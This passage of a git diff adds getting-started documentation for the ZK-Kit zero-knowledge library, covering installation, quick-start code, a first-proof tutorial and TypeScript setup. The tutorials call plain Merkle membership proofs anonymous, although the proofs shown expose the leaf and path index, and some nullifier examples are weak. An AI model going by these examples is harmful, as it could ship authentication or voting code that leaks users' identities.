Setup](/docs/getting-started/typescript-setup) - Advanced TypeScript configuration +- [Core Concepts](/docs/core-concepts/zero-knowledge-basics) - Learn ZK fundamentals +- [Packages](/docs/packages/overview) - Explore available packages +- [Your First Proof](/docs/getting-started/first-proof) - Build your first proof + +## Resources + +- [GitHub Repository](https://github.com/zk-kit/zk-kit) +- [GitHub Discussions](https://github.com/orgs/zk-kit/discussions) +- [Quick Start Guide](/docs/getting-started/quick-start) + diff --git a/docs/getting-started/first-proof.md b/docs/getting-started/first-proof.md new file mode 100644 index 0000000..bd9c6ad --- /dev/null +++ b/docs/getting-started/first-proof.md @@ -0,0 +1,416 @@ +--- +sidebar_position: 3 +title: Your First ZK Proof +--- + +# Your First ZK Proof + +Learn how to create a complete zero-knowledge proof system step-by-step. + +## What We'll Build + +A simple anonymous authentication system where users can prove they're authorized without revealing their identity. + +## Prerequisites + +```bash +npm install @zk-kit/imt +``` +*See [npm page](https://www.npmjs.com/package/@zk-kit/imt) for peer dependencies like `poseidon-lite`* + +## Step 1: Understanding the Problem + +**Traditional Authentication:** +- User logs in with username/password +- System knows WHO is accessing +- Privacy: ❌ + +**Zero-Knowledge Authentication:** +- User proves they're in authorized list +- System doesn't know WHO +- Privacy: βœ… + +## Step 2: Create the Authorization Tree + +```typescript +// auth-system.ts +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +// Create a tree to store authorized users +const authorizedUsers = new IMT(poseidon2, 16, 0, 2) + +// Generate user commitments (in real app, these would be generated securely) +const user1Commitment = poseidon2([BigInt("0x1234")]) // User's secret hashed +const user2Commitment = poseidon2([BigInt("0x5678")]) +const user3Commitment = poseidon2([BigInt("0x9abc")]) + +// Add users to authorization tree +const user1Index = authorizedUsers.insert(user1Commitment) +const user2Index = authorizedUsers.insert(user2Commitment) +const user3Index = authorizedUsers.insert(user3Commitment) + +console.log("Authorization tree created") +console.log("Root:", authorizedUsers.root.toString()) +console.log("Users authorized:", authorizedUsers.leaves.length) +``` + +## Step 3: Generate a Proof + +```typescript +// User 1 wants to prove they're authorized +const mySecret = BigInt("0x1234") +const myCommitment = poseidon2([mySecret]) +const myIndex = user1Index + +// Generate proof of membership +const proof = authorizedUsers.createProof(myIndex) + +console.log("\nProof generated:") +console.log("- Root:", proof.root.toString()) +console.log("- Leaf:", proof.leaf.toString()) +console.log("- Siblings:", proof.siblings.length, "nodes") +console.log("- Path:", proof.pathIndices) +``` + +## Step 4: Verify the Proof + +```typescript +// Anyone can verify the proof without knowing which user +const isValid = authorizedUsers.verifyProof(proof) + +console.log("\nVerification result:", isValid) +console.log("User is authorized:", isValid ? "YES βœ“" : "NO βœ—") +console.log("Identity revealed:", "NO - Anonymous βœ“") +``` + +## Step 5: Complete Example + +```typescript +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +class AnonymousAuth { + private tree: IMT + private userSecrets = new Map() + + constructor() { + this.tree = new IMT(poseidon2, 16, 0, 2) + } + + // Register a new user + registerUser(userId: number, secret: bigint): void { + const commitment = poseidon2([secret]) + const index = this.tree.insert(commitment) + this.userSecrets.set(userId, secret) + + console.log(`User ${userId} registered at index ${index}`) + } + + // User generates proof (client-side) + generateProof(userId: number): any { + const secret = this.userSecrets.get(userId) + if (!secret) throw new Error("User not found") + + const commitment = poseidon2([secret]) + const index = this.tree.indexOf(commitment) + + if (index === -1) throw new Error("User not in tree") + + return this.tree.createProof(index) + } + + // System verifies proof (server-side) + verifyAccess(proof: any): boolean { + return this.tree.verifyProof(proof) + } + + // Get current authorization root (publish this) + getRoot(): string { + return this.tree.root.toString() + } +} + +// Demo +const auth = new AnonymousAuth() + +// Register users +auth.registerUser(1, BigInt("0x1111")) +auth.registerUser(2, BigInt("0x2222")) +auth.registerUser(3, BigInt("0x3333")) + +console.log("\nRoot:", auth.getRoot()) + +// User 1 tries to access +console.log("\n--- User 1 attempting access ---") +const proof1 = auth.generateProof(1) +console.log("Access granted:", auth.verifyAccess(proof1)) + +// User 2 tries to access +console.log("\n--- User 2 attempting access ---") +const proof2 = auth.generateProof(2) +console.log("Access granted:", auth.verifyAccess(proof2)) +``` + +## Step 6: Add Nullifiers (Prevent Replay) + +```typescript +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +class SecureAnonymousAuth { + private tree: IMT + private usedNullifiers = new Set() + + constructor() { + this.tree = new IMT(poseidon2, 16, 0, 2) + } + + registerUser(commitment: bigint): number { + return this.tree.insert(commitment) + } + + // Generate nullifier from secret and app ID + static generateNullifier(secret: bigint, appId: string): bigint { + return poseidon2([ + secret, + BigInt("0x" + Buffer.from(appId).toString("hex")) + ]) + } + + // Verify proof with nullifier check + verifyAccess(proof: any, nullifier: bigint): boolean { + // Check if nullifier was already used + const nullifierStr = nullifier.toString() + if (this.usedNullifiers.has(nullifierStr)) { + throw new Error("Nullifier already used - possible replay attack") + } + + // Verify the proof + if (!this.tree.verifyProof(proof)) { + return false + } + + // Mark nullifier as used + this.usedNullifiers.add(nullifierStr) + return true + } +} + +// Usage +const secureAuth = new SecureAnonymousAuth() + +const mySecret = BigInt("0x1234") +const myCommitment = poseidon2([mySecret]) +const myIndex = secureAuth.registerUser(myCommitment) + +// Generate proof and nullifier +const proof = secureAuth.tree.createProof(myIndex) +const nullifier = SecureAnonymousAuth.generateNullifier(mySecret, "my-app-v1") + +// First attempt - should succeed +console.log("First access:", secureAuth.verifyAccess(proof, nullifier)) + +// Second attempt - should fail (replay attack) +try { + secureAuth.verifyAccess(proof, nullifier) +} catch (error) { + console.log("Replay prevented:", error.message) +} +``` + +## Understanding the Components + +### 1. Commitment +A hash of your secret that goes into the tree: +```typescript +const commitment = poseidon2([secret]) +``` + +### 2. Merkle Tree +Stores all commitments efficiently: +```typescript +const tree = new IMT(poseidon2, 16, 0, 2) +tree.insert(commitment) +``` + +### 3. Proof +Proves membership without revealing which leaf: +```typescript +const proof = tree.createProof(index) +``` + +### 4. Nullifier +Prevents double-use of the same proof: +```typescript +const nullifier = poseidon2([secret, appId]) +``` + +### 5. Verification +Checks the proof is valid: +```typescript +const isValid = tree.verifyProof(proof) +``` + +## Security Considerations + +### βœ… Do's + +1. **Use secure randomness for secrets** +```typescript +import { randomBytes } from "crypto" +const secret = BigInt("0x" + randomBytes(32).toString("hex")) +``` + +2. **Never reuse nullifiers** +```typescript +const nullifier = poseidon2([secret, uniqueAppId, timestamp]) +``` + +3. **Store tree root on-chain for production** +```typescript +await contract.updateRoot(tree.root) +``` + +### ❌ Don'ts + +1. **Don't use predictable secrets** +```typescript +// BAD +const secret = BigInt(userId) // Predictable! + +// GOOD +const secret = BigInt("0x" + randomBytes(32).toString("hex")) +``` + +2. **Don't skip nullifier checks** +```typescript +// BAD +if (tree.verifyProof(proof)) { /* grant access */ } + +// GOOD +if (tree.verifyProof(proof) && !used.has(nullifier)) { /* grant access */ } +``` + +3. **Don't log sensitive data** +```typescript +// BAD +console.log("User secret:", mySecret) + +// GOOD +console.log("User index:", myIndex) +``` + +## Common Patterns + +### Pattern 1: Client-Server Split + +**Client (generates proof):** +```typescript +const proof = tree.createProof(myIndex) +const nullifier = generateNullifier(mySecret, "app-id") + +// Send to server +await fetch("/verify", { + method: "POST", + body: JSON.stringify({ proof, nullifier }) +}) +``` + +**Server (verifies proof):** +```typescript +app.post("/verify", (req, res) => { + const { proof, nullifier } = req.body + + if (tree.verifyProof(proof) && !used.has(nullifier)) { + used.add(nullifier) + res.json({ authorized: true }) + } else { + res.json({ authorized: false }) + } +}) +``` + +### Pattern 2: Time-Limited Access + +```typescript +const timestamp = Math.floor(Date.now() / 1000) +const validUntil = timestamp + 3600 // 1 hour + +const nullifier = poseidon2([secret, appId, BigInt(validUntil)]) + +// Server checks timestamp +if (validUntil < Math.floor(Date.now() / 1000)) { + throw new Error("Access expired") +} +``` + +### Pattern 3: On-Chain Verification + +```typescript +// Off-chain: generate proof +const proof = tree.createProof(index) + +// On-chain: verify +const tx = await contract.verifyAndExecute( + proof.root, + proof.leaf, + proof.siblings, + proof.pathIndices, + nullifier +) +``` + +## Testing Your Proof System + +```typescript +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +function testProofSystem() { + console.log("Testing ZK Proof System...\n") + + // Setup + const tree = new IMT(poseidon2, 16, 0, 2) + const secret = BigInt("0x1234") + const commitment = poseidon2([secret]) + const index = tree.insert(commitment) + + // Test 1: Valid proof + const proof = tree.createProof(index) + console.assert(tree.verifyProof(proof), "Test 1 failed: Valid proof should verify") + console.log("βœ“ Test 1: Valid proof verifies") + + // Test 2: Modified proof fails + const badProof = { ...proof, leaf: BigInt(999) } + console.assert(!tree.verifyProof(badProof), "Test 2 failed: Invalid proof should fail") + console.log("βœ“ Test 2: Modified proof fails") + + // Test 3: Nullifier uniqueness + const nullifier1 = poseidon2([secret, BigInt(1)]) + const nullifier2 = poseidon2([secret, BigInt(2)]) + console.assert(nullifier1 !== nullifier2, "Test 3 failed: Nullifiers should be unique") + console.log("βœ“ Test 3: Nullifiers are unique") + + console.log("\nβœ… All tests passed!") +} + +testProofSystem() +``` + +## Next Steps + +Now that you understand the basics: + +1. **Learn Core Concepts**: [Zero-Knowledge Basics](/docs/core-concepts/zero-knowledge-basics) +2. **Explore Packages**: [Choosing a Package](/docs/packages/choosing-a-package) +3. **Understand Merkle Trees**: [Merkle Trees Explained](/docs/core-concepts/merkle-trees) +4. **Development Setup**: [Configure Your Environment](/docs/getting-started/development-setup) + +## Resources + +- [Packages Overview](/docs/packages/overview) +- [GitHub Repository](https://github.com/privacy-scaling-explorations/zk-kit) +- [npm Packages](https://www.npmjs.com/org/zk-kit) +- [Get Help](https://github.com/privacy-scaling-explorations/zk-kit/discussions) + diff --git a/docs/getting-started/installation.md b/docs/getting-started/installation.md new file mode 100644 index 0000000..4ed72f4 --- /dev/null +++ b/docs/getting-started/installation.md @@ -0,0 +1,463 @@ +--- +sidebar_position: 1 +title: Installation +description: Install ZK-Kit packages for your project +--- + +# Installation + +Install ZK-Kit packages for your project. Each package is published independently on npm and can be installed separately. + +## For Contributors: Monorepo Installation + +If you want to contribute to ZK-Kit or work with the source code, clone the repository: + +```bash +git clone https://github.com/privacy-scaling-explorations/zk-kit.git +``` + +Then install the dependencies: + +```bash +cd zk-kit && yarn +``` + +See the [Contributing Guide](https://github.com/privacy-scaling-explorations/zk-kit/blob/main/CONTRIBUTING.md) for more information. + +--- + +## For Developers: Package Installation + +### Quick Install + +For most use cases, start with the IMT (Incremental Merkle Tree) package: + +```bash +npm install @zk-kit/imt +``` + +:::info Peer Dependencies +Many ZK-Kit packages require hash functions like `poseidon-lite` or `circomlibjs`. Check the package's [npm page](https://www.npmjs.com/org/zk-kit) for specific peer dependencies. +::: + +## Package Installation Guide + +### Merkle Trees + +#### IMT (Incremental Merkle Tree) +Standard choice for membership proofs. + +```bash +npm install @zk-kit/imt +``` + +[Package Details β†’](https://www.npmjs.com/package/@zk-kit/imt) + +#### LeanIMT +Memory-optimized variant for resource-constrained environments. + +```bash +npm install @zk-kit/lean-imt +``` + +[Package Details β†’](https://www.npmjs.com/package/@zk-kit/lean-imt) + +#### SMT (Sparse Merkle Tree) +Key-value storage with non-membership proofs. + +```bash +npm install @zk-kit/smt +``` + +[Package Details β†’](https://www.npmjs.com/package/@zk-kit/smt) + +### Cryptographic Primitives + +#### EdDSA-Poseidon +Digital signatures for zero-knowledge circuits. + +```bash +npm install @zk-kit/eddsa-poseidon +``` + +#### Poseidon Cipher +Encryption and decryption for ZK-friendly data. + +```bash +npm install @zk-kit/poseidon-cipher +``` + +#### Baby JubJub +Elliptic curve operations. + +```bash +npm install @zk-kit/baby-jubjub +``` + +#### Poseidon Proof +Generate and verify zero-knowledge proofs. + +```bash +npm install @zk-kit/poseidon-proof +``` + +### Utilities + +#### Utils +Field operations, conversions, and scalar arithmetic. + +```bash +npm install @zk-kit/utils +``` + +#### Logical Expressions +Boolean logic in zero-knowledge. + +```bash +npm install @zk-kit/logical-expressions +``` + +## Installation Methods + +### npm + +```bash +npm install @zk-kit/imt +``` + +### yarn + +```bash +yarn add @zk-kit/imt +``` + +### pnpm + +```bash +pnpm add @zk-kit/imt +``` + +### bun + +```bash +bun add @zk-kit/imt +``` + +## About Peer Dependencies + +:::caution Important +ZK-Kit packages may have peer dependencies that are **not automatically installed**. Always check the specific package's npm page for requirements. +::: + +### Common Peer Dependencies + +**Hash Functions (for Merkle Trees):** +- `poseidon-lite` - Lightweight Poseidon hash implementation +- `circomlibjs` - Alternative hash implementation from circomlib + +**Other Libraries:** +- Check each package's npm page for specific requirements + +**Where to Find Dependency Information:** +1. Visit the package on [npmjs.com/org/zk-kit](https://www.npmjs.com/org/zk-kit) +2. Check the "Dependencies" and "Peer Dependencies" sections +3. Read the package README for usage examples + +## Full Stack Installation + +For a complete ZK application: + +```bash +# Core ZK-Kit packages +npm install @zk-kit/imt @zk-kit/eddsa-poseidon + +# Peer dependencies (check npm for required versions) +# Example: npm install poseidon-lite + +# Blockchain interaction (optional) +npm install ethers + +# Proof generation (optional) +npm install snarkjs +``` + +## TypeScript Configuration + +ZK-Kit is built with TypeScript and includes type definitions. + +### tsconfig.json + +```json +{ + "compilerOptions": { + "target": "ES2020", + "module": "ESNext", + "lib": ["ES2020"], + "moduleResolution": "node", + "resolveJsonModule": true, + "esModuleInterop": true, + "strict": true, + "skipLibCheck": true + } +} +``` + +## Browser Support + +ZK-Kit works in modern browsers with support for: +- ES2020+ +- BigInt +- WebAssembly (for some operations) + +### Webpack Configuration + +```javascript +// webpack.config.js +module.exports = { + resolve: { + fallback: { + "crypto": require.resolve("crypto-browserify"), + "stream": require.resolve("stream-browserify"), + "buffer": require.resolve("buffer/") + } + } +} +``` + +### Vite Configuration + +```javascript +// vite.config.js +import { defineConfig } from 'vite' +import { nodePolyfills } from 'vite-plugin-node-polyfills' + +export default defineConfig({ + plugins: [ + nodePolyfills({ + include: ['crypto', 'stream', 'buffer'] + }) + ] +}) +``` + +### Next.js Configuration + +```javascript +// next.config.js +module.exports = { + webpack: (config) => { + config.resolve.fallback = { + ...config.resolve.fallback, + crypto: require.resolve('crypto-browserify'), + stream: require.resolve('stream-browserify'), + buffer: require.resolve('buffer/') + } + return config + } +} +``` + +## React Native + +Install with native crypto support: + +```bash +npm install @zk-kit/imt +# Install peer dependencies as required (check package npm page) + +npm install react-native-crypto react-native-randombytes + +# Link native modules +cd ios && pod install +``` + +## Node.js Versions + +ZK-Kit requires Node.js 16 or higher. + +Check your version: +```bash +node --version +``` + +If you need to upgrade: +```bash +# Using nvm +nvm install 18 +nvm use 18 + +# Using n +npm install -g n +n 18 +``` + +## Verification + +Verify installation: + +```typescript +// test.ts +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +const tree = new IMT(poseidon2, 16, 0, 2) +tree.insert(BigInt(1)) +console.log("βœ“ ZK-Kit installed successfully!") +``` + +Run it: +```bash +npx ts-node test.ts +``` + +## Common Installation Issues + +### Issue: Module not found + +**Problem:** +``` +Error: Cannot find module '@zk-kit/imt' +``` + +**Solution:** +```bash +# Clear cache and reinstall +rm -rf node_modules package-lock.json +npm install +``` + +### Issue: Type errors + +**Problem:** +``` +TS2307: Cannot find module '@zk-kit/imt' or its corresponding type declarations. +``` + +**Solution:** +Ensure TypeScript is configured correctly: +```bash +npm install --save-dev typescript @types/node +``` + +### Issue: BigInt not supported + +**Problem:** +``` +ReferenceError: BigInt is not defined +``` + +**Solution:** +Update Node.js to version 16+ or add BigInt polyfill for browsers: +```bash +npm install big-integer +``` + +### Issue: Crypto module not found (browser) + +**Problem:** +``` +Module not found: Error: Can't resolve 'crypto' +``` + +**Solution:** +Add crypto polyfill: +```bash +npm install crypto-browserify stream-browserify buffer +``` + +And configure your bundler (see Browser Support section above). + +## Version Management + +### Check Installed Version + +```bash +npm list @zk-kit/imt +``` + +### Update to Latest + +```bash +npm update @zk-kit/imt +``` + +### Install Specific Version + +```bash +npm install @zk-kit/imt@2.0.0 +``` + +### Use Latest Beta + +```bash +npm install @zk-kit/imt@beta +``` + +## Monorepo Setup + +If using a monorepo (Turborepo, Nx, Lerna): + +```json +// packages/app/package.json +{ + "dependencies": { + "@zk-kit/imt": "^2.0.0", + "poseidon-lite": "^0.2.0" + } +} +``` + +Install from root: +```bash +npm install --workspace=packages/app +``` + +## Docker + +Dockerfile for ZK-Kit projects: + +```dockerfile +FROM node:18-alpine + +WORKDIR /app + +COPY package*.json ./ +RUN npm ci --only=production + +COPY . . + +CMD ["node", "dist/index.js"] +``` + +## CDN Usage (Not Recommended for Production) + +For quick prototyping: + +```html + +``` + +**⚠️ Warning**: CDN usage is not recommended for production due to: +- Security risks +- Performance concerns +- Version control issues + +## Next Steps + +- [Quick Start](/docs/getting-started/quick-start) - Build your first proof +- [TypeScript Setup](/docs/getting-started/typescript-setup) - Configure TypeScript +- [Development Setup](/docs/getting-started/development-setup) - Set up your dev environment +- [First Proof](/docs/getting-started/first-proof) - Create your first ZK proof + +## Getting Help + +- **Installation Issues**: [GitHub Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues) +- **Community Support**: [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions) +- **Documentation**: [Browse all docs](/docs) + diff --git a/docs/getting-started/quick-start.md b/docs/getting-started/quick-start.md new file mode 100644 index 0000000..7abea93 --- /dev/null +++ b/docs/getting-started/quick-start.md @@ -0,0 +1,336 @@ +--- +sidebar_position: 2 +title: Quick Start +description: Build your first zero-knowledge proof in 2 minutes +--- + +# Quick Start + +Build your first zero-knowledge proof in 2 minutes. + +## Prerequisites + +- Node.js 16+ and npm 7+ +- Basic TypeScript/JavaScript knowledge +- 5 minutes of your time + +## Step 1: Install + +Choose your package based on your needs: + +### For most use cases (membership proofs) +```bash +npm i @zk-kit/imt +``` + +### For memory-constrained environments +```bash +npm i @zk-kit/lean-imt +``` + +### For key-value storage with proofs +```bash +npm i @zk-kit/smt +``` + +:::info Peer Dependencies +Some packages require additional dependencies (like hash functions). Check the package's [npm page](https://www.npmjs.com/org/zk-kit) for requirements. For this example, you may need: +```bash +npm i poseidon-lite # for IMT/LeanIMT examples +``` +::: + +## Step 2: Create Your First Proof + +```typescript +// proof-demo.ts +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +// 1. Create a Merkle tree +const tree = new IMT(poseidon2, 16, 0, 2) + +// 2. Add members (e.g., user identities) +const members = [ + BigInt("123456789"), + BigInt("987654321"), + BigInt("555555555") +] + +members.forEach(member => tree.insert(member)) + +// 3. Generate a proof (proves membership without revealing which member) +const memberIndex = 0 // Only the prover knows this +const proof = tree.createProof(memberIndex) + +// 4. Verify the proof (anyone can do this) +const isValid = tree.verifyProof(proof) +console.log("Proof valid?", isValid) // true + +// 5. The proof can be sent to a smart contract or backend +console.log("Proof data:", { + root: tree.root, + leaf: proof.leaf, + siblings: proof.siblings, + pathIndices: proof.pathIndices +}) +``` + +## Step 3: Run It + +```bash +# If using TypeScript +npx ts-node proof-demo.ts + +# If using JavaScript, rename to .js and run +node proof-demo.js +``` + +## What Just Happened? + +1. **Tree Creation**: You created a Merkle tree that can hold membership data +2. **Member Addition**: Added identities without storing personal information +3. **Proof Generation**: Created a cryptographic proof of membership +4. **Anonymous Verification**: Verified membership without revealing identity + +## Interactive Example + +Try it in your browser: + +```html + + + + ZK-Kit Demo + + +

Zero-Knowledge Proof Demo

+ +

+
+  
+
+
+```
+
+## Real-World Example: Anonymous Voting
+
+```typescript
+import { IMT } from "@zk-kit/imt"
+import { poseidon2 } from "poseidon-lite"
+
+class AnonymousVoting {
+  private tree: IMT
+  private votes = new Map()
+  
+  constructor() {
+    this.tree = new IMT(poseidon2, 20, 0, 2)
+  }
+  
+  // Register a voter
+  registerVoter(voterCommitment: bigint): number {
+    return this.tree.insert(voterCommitment)
+  }
+  
+  // Cast anonymous vote
+  castVote(
+    voterIndex: number,
+    nullifier: string,
+    candidate: string
+  ): boolean {
+    // Create proof of voter eligibility
+    const proof = this.tree.createProof(voterIndex)
+    
+    // Verify proof
+    if (!this.tree.verifyProof(proof)) {
+      throw new Error("Invalid voter")
+    }
+    
+    // Check if already voted (prevent double voting)
+    if (this.votes.has(nullifier)) {
+      throw new Error("Already voted")
+    }
+    
+    // Record vote
+    this.votes.set(nullifier, candidate)
+    return true
+  }
+  
+  // Get results
+  getResults(): Map {
+    const results = new Map()
+    
+    for (const candidate of this.votes.values()) {
+      results.set(candidate, (results.get(candidate) || 0) + 1)
+    }
+    
+    return results
+  }
+}
+
+// Usage
+const voting = new AnonymousVoting()
+
+// Register voters
+const voter1 = voting.registerVoter(BigInt("0x123..."))
+const voter2 = voting.registerVoter(BigInt("0x456..."))
+const voter3 = voting.registerVoter(BigInt("0x789..."))
+
+// Vote anonymously
+voting.castVote(voter1, "nullifier-1", "Alice")
+voting.castVote(voter2, "nullifier-2", "Bob")
+voting.castVote(voter3, "nullifier-3", "Alice")
+
+// Get results
+console.log(voting.getResults())
+// Map(2) { 'Alice' => 2, 'Bob' => 1 }
+```
+
+## Next Steps
+
+### Learn the Concepts
+- [What is Zero-Knowledge?](/docs/core-concepts/zero-knowledge-basics)
+- [Understanding Merkle Trees](/docs/core-concepts/merkle-trees)
+- [Comparison with Other Libraries](/docs/introduction/comparison)
+
+### Continue Building
+- [Your First ZK Proof](/docs/getting-started/first-proof) - Complete step-by-step guide
+- [Development Setup](/docs/getting-started/development-setup) - Set up your environment
+- [TypeScript Setup](/docs/getting-started/typescript-setup) - Configure TypeScript
+
+### Explore Packages
+- [Packages Overview](/docs/packages/overview) - See all available packages
+- [Choosing a Package](/docs/packages/choosing-a-package) - Decision guide
+- [Ecosystem Projects](/docs/introduction/ecosystem) - See real-world usage
+
+## Common Patterns
+
+### Pattern 1: Membership Proof
+
+```typescript
+// Create a set of authorized users
+const authorizedUsers = new IMT(poseidon2, 16, 0, 2)
+
+// Add users
+const myIndex = authorizedUsers.insert(myCommitment)
+
+// Prove membership without revealing identity
+const proof = authorizedUsers.createProof(myIndex)
+
+// Verify
+if (authorizedUsers.verifyProof(proof)) {
+  console.log("Access granted!")
+}
+```
+
+### Pattern 2: Double-Spend Prevention
+
+```typescript
+// Use nullifiers to prevent reuse
+const nullifier = poseidon2([secret, appId])
+
+// Check if nullifier was used
+if (usedNullifiers.has(nullifier.toString())) {
+  throw new Error("Already used")
+}
+
+// Mark as used
+usedNullifiers.add(nullifier.toString())
+```
+
+### Pattern 3: On-Chain Verification
+
+```typescript
+// Generate proof off-chain
+const proof = tree.createProof(index)
+
+// Send to smart contract
+await contract.verify(
+  proof.root,
+  proof.leaf,
+  proof.siblings,
+  proof.pathIndices
+)
+```
+
+## Common Questions
+
+**Q: Which package should I use?**
+A: See our [package selection guide](/docs/packages/choosing-a-package)
+
+**Q: How do I integrate with Ethereum?**
+A: Check the [Semaphore](https://semaphore.pse.dev) protocol for smart contract examples
+
+**Q: Is this production-ready?**
+A: Yes! See [who's using ZK-Kit](/docs/introduction/ecosystem)
+
+**Q: How do I generate nullifiers?**
+A: Use a hash of your secret and a unique identifier:
+```typescript
+const nullifier = poseidon2([mySecret, appIdentifier])
+```
+
+**Q: Can I use this in the browser?**
+A: Yes! See the [Installation guide](/docs/getting-started/installation#browser-support) for browser setup
+
+## Performance Tips
+
+### Tree Size Selection
+
+```typescript
+// For 65,536 members (2^16)
+const tree = new IMT(poseidon2, 16, 0, 2)
+
+// For 1 million members (2^20)
+const tree = new IMT(poseidon2, 20, 0, 2)
+
+// For memory-constrained (same capacity, less memory)
+const tree = new LeanIMT((a, b) => poseidon2([a, b]))
+```
+
+### Batch Operations
+
+```typescript
+// Instead of individual inserts
+tree.insert(1n)
+tree.insert(2n)
+tree.insert(3n)
+
+// Batch insert (if your use case allows)
+const members = [1n, 2n, 3n]
+const tree = new IMT(poseidon2, 16, 0, 2, members)
+```
+
+## Get Help
+
+- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- πŸ“š [Documentation](/docs)
+- πŸŽ“ [More Examples](/docs/getting-started/first-proof)
+
+## Explore More
+
+- [GitHub Repository](https://github.com/privacy-scaling-explorations/zk-kit)
+- [Ecosystem Projects](/docs/introduction/ecosystem)
+
+Ready to build something amazing? Let's go! πŸš€
+
diff --git a/docs/getting-started/typescript-setup.md b/docs/getting-started/typescript-setup.md
new file mode 100644
index 0000000..ab2cfe2
--- /dev/null
+++ b/docs/getting-started/typescript-setup.md
@@ -0,0 +1,565 @@
+---
+sidebar_position: 5
+title: TypeScript Setup
+---
+
+# TypeScript Setup
+
+Configure TypeScript for optimal ZK-Kit development with full type safety and IDE support.
+
+## Basic Configuration
+
+### tsconfig.json
+
+```json
+{
+  "compilerOptions": {
+    "target": "ES2020",
+    "module": "CommonJS",
+    "lib": ["ES2020"],
+    "moduleResolution": "node",
+    "esModuleInterop": true,
+    "strict": true,
+    "skipLibCheck": true,
+    "forceConsistentCasingInFileNames": true,
+    "resolveJsonModule": true,
+    "declaration": true,
+    "declarationMap": true,
+    "sourceMap": true,
+    "outDir": "./dist",
+    "rootDir": "./src"
+  },
+  "include": ["src/**/*"],
+  "exclude": ["node_modules", "dist", "test"]
+}
+```
+
+## Type Definitions
+
+ZK-Kit packages include TypeScript definitions out of the box. No additional `@types` packages needed!
+
+### Using Types
+
+```typescript
+import { IMT, MerkleProof } from "@zk-kit/imt"
+import type { HashFunction } from "@zk-kit/imt"
+
+// IMT is fully typed
+const tree: IMT = new IMT(poseidon2, 16, 0, 2)
+
+// MerkleProof interface available
+const proof: MerkleProof = tree.createProof(0)
+
+// Hash function type
+const customHash: HashFunction = (values: any[]) => {
+  // Your implementation
+  return BigInt(0)
+}
+```
+
+## Type-Safe Wrappers
+
+### Authentication System
+
+```typescript
+import { IMT, MerkleProof } from "@zk-kit/imt"
+import { poseidon2 } from "poseidon-lite"
+
+interface UserData {
+  id: string
+  commitment: bigint
+  index: number
+  registeredAt: Date
+}
+
+interface ProofData {
+  proof: MerkleProof
+  nullifier: bigint
+  timestamp: number
+}
+
+class TypeSafeAuth {
+  private tree: IMT
+  private users: Map = new Map()
+
+  constructor(depth: number = 16) {
+    this.tree = new IMT(poseidon2, depth, 0, 2)
+  }
+
+  register(userId: string, commitment: bigint): UserData {
+    if (this.users.has(userId)) {
+      throw new Error(`User ${userId} already registered`)
+    }
+
+    const index = this.tree.insert(commitment)
+    const userData: UserData = {
+      id: userId,
+      commitment,
+      index,
+      registeredAt: new Date()
+    }
+
+    this.users.set(userId, userData)
+    return userData
+  }
+
+  createProof(userId: string): ProofData {
+    const user = this.users.get(userId)
+    if (!user) {
+      throw new Error(`User ${userId} not found`)
+    }
+
+    const proof = this.tree.createProof(user.index)
+    const nullifier = this.generateNullifier(user.commitment)
+
+    return {
+      proof,
+      nullifier,
+      timestamp: Date.now()
+    }
+  }
+
+  verify(proofData: ProofData): boolean {
+    return this.tree.verifyProof(proofData.proof)
+  }
+
+  private generateNullifier(commitment: bigint): bigint {
+    return poseidon2([commitment, BigInt(Date.now())])
+  }
+
+  get root(): bigint {
+    return this.tree.root as bigint
+  }
+
+  get userCount(): number {
+    return this.users.size
+  }
+}
+
+// Usage with full type checking
+const auth = new TypeSafeAuth(20)
+
+const user: UserData = auth.register("alice", BigInt("0x1234"))
+const proofData: ProofData = auth.createProof("alice")
+const isValid: boolean = auth.verify(proofData)
+```
+
+## Generic Types
+
+### Tree Manager
+
+```typescript
+import { IMT } from "@zk-kit/imt"
+
+interface TreeConfig {
+  depth: number
+  zeroValue: any
+  arity: number
+}
+
+class TreeManager {
+  private tree: IMT
+  private config: TreeConfig
+
+  constructor(
+    hashFn: (values: any[]) => any,
+    config: TreeConfig
+  ) {
+    this.config = config
+    this.tree = new IMT(
+      hashFn,
+      config.depth,
+      config.zeroValue,
+      config.arity
+    )
+  }
+
+  insert(value: T): number {
+    const leaf = this.normalize(value)
+    return this.tree.insert(leaf)
+  }
+
+  private normalize(value: T): bigint {
+    if (typeof value === 'bigint') return value
+    if (typeof value === 'string') return BigInt(value)
+    if (typeof value === 'number') return BigInt(value)
+    throw new Error('Unsupported type')
+  }
+
+  getProof(index: number) {
+    return this.tree.createProof(index)
+  }
+
+  verify(proof: any): boolean {
+    return this.tree.verifyProof(proof)
+  }
+}
+
+// Type-safe usage
+const manager = new TreeManager(
+  poseidon2,
+  { depth: 16, zeroValue: 0, arity: 2 }
+)
+
+manager.insert(BigInt(1)) // βœ“ OK
+manager.insert("0x1234")  // βœ“ OK (will be converted)
+// manager.insert({ foo: 'bar' }) // βœ— Type error
+```
+
+## Utility Types
+
+### Create Custom Types
+
+```typescript
+// types.ts
+import type { MerkleProof } from "@zk-kit/imt"
+
+export type Commitment = bigint
+export type Nullifier = bigint
+export type Root = bigint
+export type Index = number
+
+export interface ExtendedProof extends MerkleProof {
+  timestamp: number
+  version: string
+}
+
+export type ProofResult = 
+  | { success: true; proof: ExtendedProof }
+  | { success: false; error: string }
+
+export interface AuthConfig {
+  treeDepth: number
+  enableNullifiers: boolean
+  maxUsers: number
+}
+
+export type HashFn = (values: readonly any[]) => bigint
+
+// Usage
+import type { Commitment, ProofResult } from './types'
+
+function registerUser(commitment: Commitment): ProofResult {
+  try {
+    // ...
+    return { success: true, proof }
+  } catch (error) {
+    return { success: false, error: error.message }
+  }
+}
+```
+
+## Strict Mode Best Practices
+
+### Enable All Strict Checks
+
+```json
+{
+  "compilerOptions": {
+    "strict": true,
+    "noImplicitAny": true,
+    "strictNullChecks": true,
+    "strictFunctionTypes": true,
+    "strictBindCallApply": true,
+    "strictPropertyInitialization": true,
